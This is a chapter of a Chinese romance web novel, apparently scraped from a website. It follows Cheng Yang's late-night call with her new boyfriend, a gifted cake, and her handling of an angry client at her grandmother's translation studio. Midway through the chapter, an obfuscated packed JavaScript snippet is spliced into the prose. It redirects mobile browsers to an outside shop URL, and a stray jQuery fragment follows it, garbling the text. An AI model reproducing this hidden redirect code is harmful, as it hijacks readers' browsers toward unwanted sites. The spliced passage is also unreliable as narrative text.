都是第一次谈恋爱，没什么经验，裴亦舟晚上约人打球去消耗体力，程漾也在床上翻来覆去半天没睡着，眼前一直重复播放表白的场景。


    那场只属于她的烟花因为有了人的加持，变得难以忘记。


    凌晨两点，她打开手机，发现置顶的那一直显示着“正在输入”，但始终没有发过来。


    知道他也醒着，程漾缩在被窝里，吹着空调冷风，伸出手指头一个字一个字地敲过去。


    。：【你还没睡吗？】


    收到这条消息时，裴亦舟正拎起领口准备换睡衣，听到手机一响，又把衣服暂时搁在了床边，单手打字报备。


    Orbit：【还没，刚和周知让打完球回来】


    Orbit：【你呢？刚才不是说要睡觉了？】


    。：【我睡不着】


    被她这么一说，裴亦舟这下也完全没了睡意。


    Orbit：【聊会儿？】


    于是两个人大半夜的，隔着几十公里聊天。最后字面上的话也难以克制想见面的情绪，索性通了语音电话。


    你一句我一句很舒服地回应着彼此，裴亦舟说话也像是在哄她睡觉，低声又温柔，以至于后半夜是什么时候闭上眼的程漾已经没印象了，但等她醒过来看时——界面显示通话结束在半小时前，时长有差不多六个小时。


    她和游佳彻夜畅谈的时间都没这么长。


    早上八点。


    听到楼下的动静，程漾迅速掀开被窝起床，收拾一顿出去，结果还是晚了一步。


    只不过这次换成了她爷爷来喊人。


    老爷子瞧了她一眼，背着手转身就走：“看来早饭也可以省了。”


    “谈恋爱”几个字老爷子嘴里说不出来，不过程漾还是十分清楚地明白他的意思——看来男朋友能当饭吃，不然怎么睡到太阳晒屁股了还不出来？


    程漾两三步小跑跟上去，绕开这个话题，只问：“没有啊！我一大早就饿着肚子等了呢，所以吃什么爷爷？”


    老爷子哼了一声：“别把我和吃连在一块。”


    程漾：“……”


    两爷孙下了楼，餐厅桌面已经摆好了四碗热腾腾的米线，每碗里还卧着一个金灿灿的荷包蛋。


    早餐做起来麻烦费事，以往都是买着吃，但今天的一看就知道是奶奶亲自下厨弄的。


    程漾在桌边坐下，还没动筷，旁边又一道目光飘了过来。


    程祈允面无表情地看着她，眼底下是淡淡的乌青，黑眼圈看着比她这个熬了夜的还要严重。


    程漾不知道自己哪来的心虚：“……看我干嘛？”


    程祈允气鼓鼓着脸：“姐，我连学校里有没有女生和我表白都告诉你了，结果你交男朋友了都没和我说。”


    套他弟的话比下坡还简单，程漾是怕他太单纯被人骗。


    “这不是没来得及嘛——你等会儿不上课了？”


    程祈允点点头：“上啊。”


    程漾：“那还不快点吃？”


    “哦。”


    程祈允乖乖低头吃米线，吃了一半了总觉得哪里不太对。


    怎么好像有一种被忽悠了的感觉？


    没给他反应的时间，外面忽地有快递员上门。


    程漾过去开门，快递小哥先给她拿了一份像是装着文件的纸袋，她接过来签了字。正打算往回走，又被人叫了回来。


    “诶，小姐，你这儿还有一个快递。”


    程漾把目光从纸袋上挪过去，随即看着对方变戏法似的从身后提了一个八寸大的蛋糕出来。


    透明壳里的蛋糕整体是淡蓝色，最上面放着四只奶油和巧克力做的猫猫狗狗，其余空位全部由五六种水果铺满。


    顶上的蝴蝶结处挂着同款的卡通蛋糕吊牌，背后清晰明了地介绍用料和夹层内陷。


    程漾确定自己最近没买蛋糕。


    疑惑着凑过去，看到了寄件人的信息后，她立即签收下来。


    她拿着东西往回走，同时有点雀跃地翻出消息联系人。


    。：【你怎么买蛋糕了？】


    裴亦舟那边也正好收到快递成功签收的消息。


    Orbit：【昨天不是说想吃？】


    程漾认真回忆了下，好像是在睡前刷了下吃播，看到甜品了随口说了一句，当时迷迷糊糊地想睡觉了，也没注意自己说的什么。


    Orbit：【不喜欢？】


    。：【喜欢！】


    Orbit：【那就行，晚上见面？】


    脸颊又开始热了起来，程漾慢慢地敲下回复。


    。：【哦】


    绕过走廊进到客厅，程祈允先看到吃的，立马冲过来：“蛋糕！姐你什么时候买的？”


    他看了看包装，惊讶道：“而且还是我们大学附近的那家店！”


    程祈允也喜欢吃甜品，早就盯上了这店，店铺在他们大学里名声颇好，只不过因为两点原因，他一直都没能买上：


    一是据说用料食材不便宜，再加上外形专门定制，所以蛋糕本身定价高，一个小小的四寸就要三百多，他一个贫穷的大学生哪吃得起？


    二是从法国学完甜品制作回来的老板本人非常有个性，只接他喜欢的单，拒绝你的理由可以千奇百怪，比如今天心情不好不接，时间不对不接。


    程祈允攒了半个月的零花钱却因为第二点没买上之后，当即骂了一句：你家蛋糕用金子做的呢？！


    现在真真切切看到蛋糕实体，他承认这老板好像是有两把刷子的。


    程漾小心把蛋糕放在了桌上：“我没买。”


    “嗯？那谁给你定的？”


    程祈允两三下就反应过来：“姐夫？他怎么买到的？”


    没等程漾回答，爷爷先卷起报纸在他脑袋上敲了一下：“一个蛋糕就把你收买了？你见过人了？”


    被爷爷这么一教训，程祈允也反应了过来。


    也是哦，万一那个人配不上他姐怎么办？


    他对他姐的男朋友可是有高标准高要求的！不是送花买蛋糕就能达到的！


    程祈允十分有骨气：“我先吃米线，蛋糕等会儿再说。”


    “嗯嗯。”程漾点点头，扯了一张纸给他，道：“收收你的口水。”


    程祈允：“……”他好像做不到。


    另一个快递是奶奶的，程漾把东西给人递过去。


    奶奶戴着眼镜扫了眼，饭也没吃了，直接拆开纸袋来看，几分钟后脸色变了变。


    程漾看出来不对劲：“怎么了？”


    她接过文件，发现是一份打印出来的医学著作翻译稿，封面署着奶奶工作室的名号。


    程漾越往后看眉头越紧皱，稿子仅在第一页就被人用红笔圈了十几处低级错误。


    这不可能是工作室的水准。


    老爷子看了后也明白了是怎么回事：“我去和知妤说说。”


    奶奶摘了眼镜，叹了口气：“你和我不也一样，怎么好说？她的孩子我们总不能驳了面子。”


    “所以这是吴姨儿子翻的稿？”


    程漾虽然不经常去她奶奶的工作室，但也大概知道些情况。


    奶奶年纪大了，没法常盯着底下的人工作，大部分事情都是交给她的学生吴知妤来接管，而她做到这个份上，手上自然也是有点调动人事的权力。


    于是前不久就把自己翻译专业的孩子弄了过来实习。


    但谁也没想到，她现在就把正式工作直接让她实习不到两个月的儿子来做。


    有情分在那，老两口不好说话，一时间也找不出办法。


    就在僵持之际，程漾主动提出：“我去一趟工作室吧。”


    -


    饭后程漾换了一身偏正式的衬衫牛仔裤出门，刚到路边准备打车，一辆白色的奥迪忽地从小区里开出来，停在了她身边。


    片刻后车窗降下，曲初微淡淡看了过来：“你站路边做什么？”


    程漾往后看了两眼，她奶奶并不在这儿。


    这位大小姐会和她搭话也是稀奇，她随口一答：“等出租车。”


    程漾眯了下眼往两边看：“不过这个点好像还挺难打的。”


    曲初微嗯了一声，结果也没走，程漾寻思着人主动和自己说话，她是不是也得礼尚往来说几句？


    于是尴尬开口：“你今天不去学校？”


    曲初微语调冷了些：“不用去。”


    程漾：“哦。”


    既然不用去，那开车出来干吗？


    几秒后，程漾反应过来，小心问：“那……送我一程？”


    咔哒一声，车门解了锁。


    曲初微脸色缓了缓：“嗯，刚好顺路，上来吧。”


    程漾：“我还没说我去哪呢。”


    曲初微：“……”你长了张嘴就不能不说话？


    有人载自然是再好不过的事，程漾没忍住笑了下，拉开车门坐了上去。


    从这里过去工作室得半小时，两个人是旧相识，却没有话聊。


    期间曲初微悄摸往后看了一眼，后排的人拿着笔在一叠纸上勾勾画画，但等程漾一抬头，她旧立马恢复冷脸，目视前方。


    半小时后，抵达工作室，程漾推开门进去时，吴知妤正在和那位把翻译稿直接寄到她家的客户交流。


    对方言辞激烈，说得脸红脖子粗。


    办公室和员工区仅隔了一条走廊，玻璃墙的隔音效果不算好，被这么一闹，工位上的其他员工纷纷看了过去。


    程漾进办公室后先把百叶窗拉下，然后一眼瞥到了那位挡路的闯祸哥。


    男生刚被客户劈头盖脸骂了一顿，正不爽着呢，见外人过来看热闹，更加不爽了。


    眉头一皱，问：“你谁啊？还敢随便进来？”


    程漾没搭理他，走过去在吴知妤旁边坐下：“吴姨，能让我说两句么？”


    吴知妤自然是认识她的，只是没想到几年前见面时还有点怯生的小女孩，现在已经出落成落落大方的大姑娘，举手投足之间颇有几分她老师年轻时游刃有余的气质。


    她正因为这事头疼呢，听她这么问立即点点头：“好。”


    客户不懂她们之间的关系，只梗着脖子道：“我不管你们谁来说，总之这事怎么解决吧，我是相信程老师的水平才和你们做生意，现在倒好了，你们把我的交给一个屁都不懂的实习生来搞。要是处理结果不满意，你们工作室就等着接差评倒闭吧。”


    男生只听了最后一句，立刻炸了：“你他妈说谁屁都不懂！你以为我想干这份事呢！”


    吴知妤站起来喊：“住嘴！”


    眼看着客户要和男生掐起来，程漾深呼了口气。


    “吴姨您能带他出去吗？”


    吴知妤把人拽了出去。


    门一关，程漾先挨了这客户的一顿骂。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127956|122770||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    做了这么多次口译笔译，她确实是头一回被人这么说。不过她同时也庆幸，幸好奶奶没过来。


    等人嘴歇下来了，程漾给他提供了解决方案：“您看这样行吗？这次翻译费用我们免除，全额给您退回，并进行重翻，后续如果还有合作，给您相应的优惠折扣。”


    终于听到点实际的东西，客户脸色稍稍好看了些。


    “钱呢，不是主要问题，最主要的是翻译的人，你们再找一个实习生来搞？我有空跟你们玩？”


    程漾向他保证：“不会安排实习生的。”


    “刚刚那个吴什么，说除了实习生，其他的员工都有事做，要接我的稿子也只能等到半个月后了，别说半个月，一个星期我给你把事情在这一行闹大，你觉得怎么样？”


    “其他员工是没空。”


    在客户一脸“那你和我说个啥”的表情时，程漾把她早上拿到的翻译稿递了过去。


    “所以我来翻。”


    稿子上不仅原来被圈红的地方改了，其余客户自己都没发现的微小错误都被揪了出来。


    而六十几页的文件，她已经翻了将近三分之一，但距离签收这个快递，过去的时间才不过三个小时。


    他不太确信，又偷摸拍照发过去给他精通外语的熟人发过去。


    在接到“这哪家翻译工作室的？推给我”的消息后，他才放下心来，自觉赚大了，但还是端着问：“行吧，那就这样，按照之前规定的时间，三天之内发给我。”


    随即立刻迈着小碎步蹦跶出了工作室。


    程漾紧绷着的神经松了些，还没来得及喝下水，门哐当一下又被推开了。


    闯祸哥长着一张斯文的脸，表情却狰狞：“你是老板的孙女就了不起了？谁想拿这几千块的钱，我要是出去做同传做口译，时薪就是你们的月工资！”


    他是被他妈硬拖过来工作的，本来就是想拿个实习证明，谁能想到碰到个脾气和他一样暴的客户，当即忍不住甩脸子了。


    现在被程漾这么一弄，整个工作室的人都知道人家是在嫌弃他了，压根忍不住不发火。吴知妤在旁边劝都劝不住。


    程漾安静地听他说完，慢慢起身站到他面前。


    “看来你不仅没能力，连在学校学到最基本的东西都忘了。语言尚且没有高低之分，你还敢自作主张给口译和笔译划分等级。给你一句忠告，你不适合待在翻译行业，建议趁早转行。你的嗓门很大，可以去替代音响喊大甩卖。”


    “还有最近翻译到的一句古文，感觉挺适合你的，送给你——巧言如簧，颜之厚矣。”


    程漾说话的时候都是笑吟吟的，声调平缓，听着像是在普通叙述，但好歹都是做这一行的，男生怎么会不明白她明里暗里的话？


    正要发作，办公室的门又被人一推。


    看见来人，男生一懵：“师姐？”


    曲初微淡淡瞥了他一眼：“谁是你师姐？沈老师可没说要收你做学生。你这样子也不配。”


    说完了她看向程漾：“还走不走？”


    程漾倒是没想到她还在等自己，点点头，又看了一眼站在旁边吴知妤，心想对方大概已经知道该怎么处理了，放心走了出去。


    曲初微跟在后面，路过男生时，想起来又说了句：“如果你真的使了什么手端到了沈老师的门下，那你还有一个师姐。”


    男生也是被骂傻了才接她的话：“谁？”


    “刚才替学校教育你的那位。”


    -


    回到家里，奶奶先跑过来问情况。


    “没事吧？她那儿子脾气也不怎么好。”说完了，她开始后悔：“刚才不该让你一个人去的。”


    程漾拍了拍她的手，转了一圈：“奶奶，你放心，我没事啊。”


    奶奶不放心，之前程漾都没怎么去过工作室，她隐约知道是有些原因，但孩子不愿意说，她也从来没过问过。


    今天主动说要去的时候，她还震惊了下，也或许是惊讶过头了，才一时间同意了让她去。


    在她这儿，程漾就是小孩。


    “没被人骂吧？”


    程漾笑了笑：“您说什么呢！骂我的我都骂回去了，我好歹也是学语言的，说话底子还行吧。”


    两三句问下来，没一句是关乎事情本身的，全是在程漾身上。


    “好啦，不说了，我们吃蛋糕吧。后面的事吴姨应该会处理好的。”


    程祈允去学校了，于是蛋糕分成四份，留了一份在冰箱里给他，他们三个则坐在家里高高兴兴地边聊边吃完了。


    下午程漾关门在房间改稿，只有吃午饭的时候出来了会儿。被他爷爷奶奶问起，只说是在做她自己的工作，让他们别来打扰。


    一直到了晚上七点，她和裴亦舟约定的时间，她才重新从卧室里出来。


    趁着老两口看电视的空当，一溜烟地跑出了门。


    出去前她还在催着司机怎么还不接单啊，结果到了外面一看。


    裴亦舟就在她家外面等着。


    简单的黑t休闲裤衬得身高腿长，肩上懒懒散散地挎着一个黑色书包，有点像高中时第一次见他的模样。


    见她出来了，裴亦舟不自觉笑了起来，冷脸瞬间消失了，原本凌厉的眉峰都柔和了些，漫不经心道：“看着干吗？还不过来？”


    程漾小跑过去，在他面前停下，然后张开手臂，小声又委屈地说了句：“抱抱。”